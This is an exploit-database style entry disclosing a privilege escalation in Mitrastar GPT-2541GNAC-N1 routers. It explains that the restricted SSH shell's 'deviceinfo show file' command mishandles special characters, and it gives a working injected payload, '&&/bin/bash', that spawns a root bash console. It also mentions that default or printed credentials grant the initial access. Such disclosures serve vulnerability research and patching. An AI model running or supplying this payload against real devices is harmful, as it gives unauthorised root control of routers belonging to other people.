Mitrastar GPT-2541GNAC-N1 - Privilege escalation

# Exploit Title: Mitrastar GPT-2541GNAC-N1 - Privilege escalation
# Date: 10-08-2021
# Exploit Author: Leonardo Nicolas Servalli
# Vendor Homepage: www.mitrastar.com
# Platform: Mistrastar router devices GPT-2541GNAC-N1 (HGU)
# Tested on: Firmware BR_g3.5_100VNZ0b33
# Vulnerability analysis: https://github.com/leoservalli/Privilege-escalation-MitraStar/blob/main/README.md

Description:

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# Mitrastar GPT-2541GNAC-N1 devices are provided with access through ssh into a restricted default shell (credentials are on the back of the router and in some cases this routers use default credentials).

# The command “deviceinfo show file <path>” is used from reduced CLI to show files and directories. Because this command do not handle correctly special characters, is possible to insert a second command as a parameter on the <path> value. By using “&&/bin/bash” as parameter value we can spawn a bash console, as seen on the next example:


Exploit:
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> deviceinfo show file &&/bin/bash

# This command will spawn a full interoperable bash console with root privileges.